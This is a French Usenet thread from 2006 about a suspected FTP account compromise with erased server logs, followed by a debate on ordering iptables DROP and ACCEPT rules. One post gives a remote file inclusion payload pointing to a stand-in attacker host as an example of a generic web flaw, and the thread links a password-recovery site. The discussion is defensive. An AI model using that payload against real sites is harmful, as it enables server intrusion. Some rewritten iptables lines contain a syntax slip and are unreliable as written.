Mon firewall est-il correct ?

"Eric Razny" <news_01@razny.net> a écrit

Question con:
chez moi si je donne un login/password d'un compte ftp,
sauf s'il y a une faille sur le serveur ftp (le soft ou la conf) ou
éventuellement dans le noyau, je ne vois pas trop comment tu efface les
logs. (sauf si l'herbergeur est assez <biiip :) > pour les laisser dans
l'espace accessible par ftp ou via des scripts lancés ensuite en http)
Pour la partie concernant la modif du site il y a pas mal de
possibilités, mais pour les logs c'est moins facile.
Une idée?

je me demande si mon hébergeur est si sérieux que ça finalement :-)
Ils ont beau me dire qu'il n'y a que moi, cette histoire de logs effacés,
c'est curieux !

"Nicob" <nicob@I.hate.spammers.com> a écrit

Par expérience, je penserais à une compromission du compte FTP, via un
keylogger ou un extracteur de base de registre (et donc une compromission
d'un des postes utilisés pour la mise à jour).

non non, ce n'est pas ça, le seul poste utilisé pour la mise à jour, c'est
ma machine, et y'a que moi qui y touche :-)

"Jean-noel Lafargue" <jnNOSPAM@hyperbate.com> writes:

'Lut,

non non, ce n'est pas ça, le seul poste utilisé pour la mise à jour, c'est
ma machine, et y'a que moi qui y touche :-)

Oui et ?

Un keylogger s'installe très facilement sans avoir besoin d'une présence
physique sur la machine.

--

Passe que moi, au départ, j'avais fait informatique comme études, pas
NT, et je voudrais revenir à mon métier premier.
-+- BB in Guide du Linuxien pervers - Bien configurer son metier.

OoO En cette soirée bien amorcée du mercredi 12 juillet 2006, vers
22:27, Eric Razny <news_01@razny.net> disait:

chez moi si je donne un login/password d'un compte ftp,
sauf s'il y a une faille sur le serveur ftp (le soft ou la conf) ou
éventuellement dans le noyau, je ne vois pas trop comment tu efface les
logs. (sauf si l'herbergeur est assez <biiip :) > pour les laisser dans
l'espace accessible par ftp ou via des scripts lancés ensuite en
http)

Il me semble que Free le fait et je ne trouve pas ça particulièrement
idiot : cela permet de rendre accessibles les logs facilement au
client.

Dans le cas présent, il me semble que ce n'est pas très clair. A
priori, les logs ne semblent pas accessibles par le serveur FTP.
L'hébergeur semble dir qu'ils seraient accessibles par les scripts
PHP. Est-ce que le PHP tourne en safe mode ?
--
if (user_specified)
/* Didn't work, but the user is convinced this is the
* place. */
2.4.0-test2 /usr/src/linux/drivers/parport/parport_pc.c

Le Thu, 13 Jul 2006 10:18:50 +0000, Vincent Bernat a écrit :

chez moi si je donne un login/password d'un compte ftp, sauf s'il y a
une faille sur le serveur ftp (le soft ou la conf) ou éventuellement
dans le noyau, je ne vois pas trop comment tu efface les logs. (sauf si
l'herbergeur est assez <biiip :) > pour les laisser dans l'espace
accessible par ftp ou via des scripts lancés ensuite en http)

Il me semble que Free le fait et je ne trouve pas ça particulièrement
idiot : cela permet de rendre accessibles les logs facilement au
client.

Est-ce que ces logs sont en lecture seule, dans un répertoire dont
l'utilisateur n'a pas les droit d'écriture?

Si ce n'est pas le cas (avec tout autre gag qui permet d'effacer les
logs[1]) je trouve personnellement ça idiot :)

Rendre les logs accessibles au client c'est bien, modifiable par le client
c'est "mal".

Dans le cas présent, il me semble que ce n'est pas très clair. A
priori, les logs ne semblent pas accessibles par le serveur FTP.
L'hébergeur semble dir qu'ils seraient accessibles par les scripts
PHP. Est-ce que le PHP tourne en safe mode ?

Je laisse ça dans la même catégorie qu'au dessus (et le "http user" ou
autre -suexec?- qui fait tourner les scripts n'a pas de droit sur les logs
en principe)

Eric

[1] Protection des répertoire en amont, programme en suid suffisant pour
effacer/modifier ce qu'il faut, etc etc.

On parle sans arrêt des attaques distantes, des failles des applis
locales, du noyau etc mais amha on oublie fréquement le paramètrage des
unix-like qui n'est pas nécessairement une sinécure (on voit encore des
. dans le PATH root, des 777 en permission sur /bin, j'en passe et des
meilleures) et des applications (il y a quelques années un ftp qui
permettait d'aller où il ne faut pas, suivit d'une compromission en
passant par un serveur sql via http. Aucune faille soft, "juste" une
erreur de paramètrage).

Pascal Hambourg wrote:

Tiens, j'écrivais l'autre jour dans une liste de diffusion que je
trouvais que ce n'était pas une bonne pratique de faire précéder une
règle ACCEPT trop permissive par une ou plusieurs règles DROP en
comptant sur ces dernières pour bloquer les paquets indésirables que la
règle ACCEPT aurait acceptés sinon. En effet si une règle DROP n'est pas
chargée pour une raison quelconque (manque de mémoire, erreur de
syntaxe, module manquant...), le résultat est plus permissif que prévu.

Bonjour,

Je comprends l'argument cependant je ne pense pas qu'il faille voir
les différentes règles comme des entités si individuelles que cela.
L'oubli d'une règle est une erreur de paramétrage qui est tout à fait
comparable à l'oubli/l'erreur d'une condition dans une autre. Dans tous
les cas le filtrage est compromis. C'est au paramétreur de vérifier et
tester le jeu de règles.
J'ai également du mal a voir ce que cela apporte réellement et ce
qu'il est réellement possible de faire avec cette idée.

En poussant le raisonnement à l'extrême, on devrait pouvoir retirer
toutes les règles DROP d'un jeu de règles bien écrit sans en altérer la
sécurité.

Pourquoi ne pas simplement mettre toutes les conditions d'acceptation
nécessaires dans les règles ACCEPT ?

* D'un point de vue maintenance, je ne pense pas que cette maniere de
faire soit efficace. En effet, si je veux changer une condition de refus
de paquet de ce genre, je vais devoir changer la condition dans tous les
ACCEPT qui l'avaient en commun au risque d'en oublier un !
De plus, je ne vois pas vraiment comment cela est (toujours)
possible. Par exemple, comment (et pourquoi !?) devrais-je re-ecrire
ceci en une ligne ACCEPT ???

iptables -A INPUT -m state --state INVALID -j DROP
iptables -A INPUT -p tcp --tcp-flags SYN SYN --tcp-option ! 2 -j DROP
iptables -A INPUT -m state --state NEW,RELATED -p tcp --tcp-flags ! ALL
SYN -j DROP
iptables -A INPUT -i eth9 -s 10.0.0.0/8 -j DROP
iptables -A INPUT -i eth9 -s 127.0.0.0/8 -j DROP
iptables -A INPUT -i eth9 -p tcp --dport 123 -j ACCEPT

* D'un point de vue performance, je ne connais pas suffisamment les
mécanismes internes de netfilter mais j'imagine que le système devrait
réévaluer les mêmes conditions n fois pour n ACCEPT ! Pour pousser le
bouchon, cela veut dire également que toutes les conditions (aux
optimisations près) de tous les ACCEPT seront évaluées avant de
s'apercevoir qu'un paquet est non valide (DROP final ou politique par
défaut!).

Et si on souhaite "factoriser" des
conditions communes à plusieurs règles, on peut regrouper ces règles
dans une chaîne utilisateur.

D'un point de vue lisibilité et maintenance, je pense qu'il _faut_
factoriser mais je ne vois pas en quoi ceci règle votre problème de
"sécurité" dû à l'oubli/l'erreur éventuel d'une règle DROP.

Ce qu'il ne faut pas faire, c'est mettre des DROP à gogo redondants
pour le plaisir mais, bien dosés, je pense au contraire que la bonne
pratique est de "factoriser" ce qui peut l'être avec ou sans chaîne
utilisateur selon la taille du jeu de règles. A mon sens, on peut même
mettre certains DROP redondants en tête de du jeu de règles car on sait
que tel type de paquets correspond à 95 % des paquets à refuser; ce qui
aura pour effet de ne pas évaluer les autres règles pour ces 95% de
refusés.
Même dans les acs où cela est possible, je ne pense vraiment pas
qu'il soit judicieux de vouloir tout re décrire à chaque règle.

A+
Alex.

"Eric Masson" <emss@free.fr> a écrit

Oui et ?
Un keylogger s'installe très facilement sans avoir besoin
d'une présence physique sur la machine.

je n'y crois pas pour trois raisons
la première est que je fais assez attention à ce qui traîne sur ma machine
et que je surveille régulièrement les processus qui tournent dessus.
la seconde, c'est que mon site n'est pas une cible particulièrement
intéressante à pirater, j'en déduis donc que c'est une cible facile
la troisième c'est que je ne rentre jamais de mots de passe, mon client FTP
(le très classique Cute FTP... Pas mauvaise réputation que je sache) s'en
charge pour moi.

On Thu, 13 Jul 2006 17:53:00 +0000, Jean-noel Lafargue wrote:

J'adooooore ton post (humour !). Il véhicule quelques unes des idées
reçues les plus classiques et les plus dangereuses quant à la sécurité
d'un site Web.

la seconde, c'est que mon site n'est pas une cible particulièrement
intéressante à pirater

Faux. Pour monter un site de phishing ou héberger le centre de contrôle
d'un botnet, un site quelconque chez un hébergeur quelconque est très
largment suffisant. Et sans doute moins surveillé qu'un "gros" site.

j'en déduis donc que c'est une cible facile

Une cible facile, pour ces gars là, c'est soit :
- un site avec une faille connue et aisément exploitable (awstats)
- un site exploitable via une faille de sécu générique (style
"/index.php?lang=http://badboy.com/hackme.php%00")
- un site dont il a déjà l'identifiant et mot de passe FTP

la troisième c'est que je ne rentre jamais de mots de passe, mon client FTP
[...] s'en charge pour moi.

Donc le mot de passe est soit en base de registre soit sur disque. Et
l'éventuelle "obfuscation" est réversible, vu que le mot de passe doit
être envoyé en clair. Et ça fait des années que les backdoors/chevaux
de Troie/RAT récupèrent ces infos et les font suivre au gars qui les
contrôle. Qui parfois les revend à des phishers ...


Nicob

Le Thu, 13 Jul 2006 17:53:00 +0000, Jean-noel Lafargue a écrit :

Un keylogger s'installe très facilement sans avoir besoin d'une
présence physique sur la machine.

je n'y crois pas pour trois raisons
la première est que je fais assez attention à ce qui traîne sur ma
machine et que je surveille régulièrement les processus qui tournent
dessus. la seconde, c'est que mon site n'est pas une cible
particulièrement intéressante à pirater, j'en déduis donc que c'est
une cible facile la troisième c'est que je ne rentre jamais de mots de
passe, mon client FTP (le très classique Cute FTP... Pas mauvaise
réputation que je sache) s'en charge pour moi.

Tu en as encore beaucoup des conneries du genre?

http://www.password-crackers.com/en/category_162/

(et encore, en 5s de recherche avec "cute ftp password recovery"...

Pour ce qui est des process qui tourne je te suggère de chercher rootkit
sur un moteur de recherche.

Pour le "petit site" : cf (entre autre) aléatoire, script kiddies,
zombies... (ça vaut aussi pour les machines perso).

Même si j'ai une forte présomption sur (au moins) un problème avec ton
hébergeur (à cause des logs) tu devrais éviter d'être trop sur de toi.

J'ai l'habitude de dire : je n'ai pas *encore* été hacké *à ma
connaissance*. Tu comprends ce que je veux exprimer?

Entre autre, la remise en cause fait partie de la sécurité (qui est
décidement tout sauf un process :) ).

Eric

Pascal Hambourg wrote:

Tiens, j'écrivais l'autre jour dans une liste de diffusion que je
trouvais que ce n'était pas une bonne pratique de faire précéder une
règle ACCEPT trop permissive par une ou plusieurs règles DROP en
comptant sur ces dernières pour bloquer les paquets indésirables que
la règle ACCEPT aurait acceptés sinon. En effet si une règle DROP
n'est pas chargée pour une raison quelconque (manque de mémoire,
erreur de syntaxe, module manquant...), le résultat est plus permissif
que prévu.

Je comprends l'argument cependant je ne pense pas qu'il faille voir
les différentes règles comme des entités si individuelles que cela.

Le fait est qu'une règle est une entité indépendante, alors qu'une
condition ne l'est pas. Si la création d'une règle échoue, cela
n'affecte pas la création des autres règles. Si l'expression d'une
condition dans une règle provoque une erreur, cela empêche la création
de la règle au lieu que la règle soit créée sans cette condition.

L'oubli d'une règle est une erreur de paramétrage qui est tout à fait
comparable à l'oubli/l'erreur d'une condition dans une autre. Dans tous
les cas le filtrage est compromis.

Je ne parle pas d'oubli mais d'échec de la création d'une règle. Echec
qui peut avoir de multiples causes, par exemple :

- erreur de syntaxe, ou changement de syntaxe suite à une mise à jour
d'iptables ;
- manque de mémoire disponible au moment de la tentative de création ;
- règle faisant appel à un module du noyau manquant, par exemple après
installation d'un nouveau noyau ne contenant pas ce module ;
- incompatibilité entre les versions du noyau et d'iptables ;
- bugs divers et variés...

J'ai également du mal a voir ce que cela apporte réellement et ce
qu'il est réellement possible de faire avec cette idée.

D'une part, plus de sécurité en cas d'échec de création d'une règle.
D'autre part, cela oblige à essayer de raisonner en positif ("j'accepte
ceci") plutôt qu'en négatif ("je bloque ceci").

Pourquoi ne pas simplement mettre toutes les conditions d'acceptation
nécessaires dans les règles ACCEPT ?

* D'un point de vue maintenance, je ne pense pas que cette maniere de
faire soit efficace. En effet, si je veux changer une condition de refus
de paquet de ce genre, je vais devoir changer la condition dans tous les
ACCEPT qui l'avaient en commun au risque d'en oublier un !

Je le conçois aisément, c'est pourquoi j'ai proposé le recours aux
chaînes utilisateur pour factoriser les conditions communes dans la
mesure du possible.

De plus, je ne vois pas vraiment comment cela est (toujours) possible.

Il est clair qu'on ne peut pas forcément tout factoriser, il peut y
avoir des répétitions inévitables.

Par exemple, comment (et pourquoi !?) devrais-je re-ecrire ceci en une
ligne ACCEPT ???

iptables -A INPUT -m state --state INVALID -j DROP
iptables -A INPUT -p tcp --tcp-flags SYN SYN --tcp-option ! 2 -j DROP
iptables -A INPUT -m state --state NEW,RELATED -p tcp --tcp-flags ! ALL
SYN -j DROP
iptables -A INPUT -i eth9 -s 10.0.0.0/8 -j DROP
iptables -A INPUT -i eth9 -s 127.0.0.0/8 -j DROP
iptables -A INPUT -i eth9 -p tcp --dport 123 -j ACCEPT

Il n'est évidemment pas question de réécrire tout ça en une seule ligne,
d'autant plus que ces règles concernent des types de paquets différents.
On peut toutefois supprimer tous les DROP en ayant recours à des chaînes
utilisateur. Sans chercher à discuter la pertinence de ces règles ni
optimiser le résultat, je propose ceci (désolé de mon manque
d'imagination pour nommer les chaînes utilisateur) :

iptables -A INPUT -m state --state ! INVALID -j chaine1
iptables -A chaine1 -p ! tcp -j chaine3
iptables -A chaine1 -p tcp --tcp-flags ! SYN SYN -j chaine2
iptables -A chaine1 -p tcp --tcp-option 2 -j chaine2
iptables -j chaine2 -m state --state NEW,RELATED -p tcp
--tcp-flags ALL SYN -j chaine3
iptables -j chaine2 -m state --state ESTABLISHED -j chaine3
iptables -A chaine3 -i eth9 -s ! 10.0.0.0/8 -j chaine4
iptables -A chaine4 -s ! 127.0.0.0/8 -j chaine5
iptables -A chaine5 -p tcp --dport 123 -j ACCEPT

Néanmoins ce genre de réécriture pourrait être l'occasion d'une
réorganisation plus rationnelle des règles en arbre, en triant par état,
protocole, interface...

D'un point de vue lisibilité et maintenance, je pense qu'il _faut_
factoriser mais je ne vois pas en quoi ceci règle votre problème de
"sécurité" dû à l'oubli/l'erreur éventuel d'une règle DROP.

Une règle DROP manquante => résulat plus permissif que prévu.
Une règle ACCEPT manquante => résultat moins permissif que prévu.

Ce qu'il ne faut pas faire, c'est mettre des DROP à gogo redondants
pour le plaisir

Il faut surtout ne pas mettre de règles DROP indispensables, qui ne
soient pas redondantes avec les conditions des règles ACCEPT. Le risque
est d'oublier une condition de rejet dans une de ces règles. Dans ce
cas, le jeu de règles est plus permissif que prévu, ce qui peut causer
un trou de sécurité pas forcément facile à détecter.

mais, bien dosés, je pense au contraire que la bonne
pratique est de "factoriser" ce qui peut l'être avec ou sans chaîne
utilisateur selon la taille du jeu de règles. A mon sens, on peut même
mettre certains DROP redondants en tête de du jeu de règles car on sait
que tel type de paquets correspond à 95 % des paquets à refuser; ce qui
aura pour effet de ne pas évaluer les autres règles pour ces 95% de
refusés.

Pourquoi pas, à conditions que les règles DROP ne soient pas
indispensables et soient mises en place uniquement dans un but
d'optimisation. Mais à mon avis il est quasiment aussi efficace
d'aiguiller les paquets "acceptables" vers une chaîne utilisateur,
sachant que les autres paquets tomberont sur une règle DROP finale ou
sur la politique par défaut (à DROP, bien sûr) de la chaîne principale
traversée. Comme je l'ai écrit, on devrait pouvoir supprimer toutes les
règles DROP sans altérer la sécurité.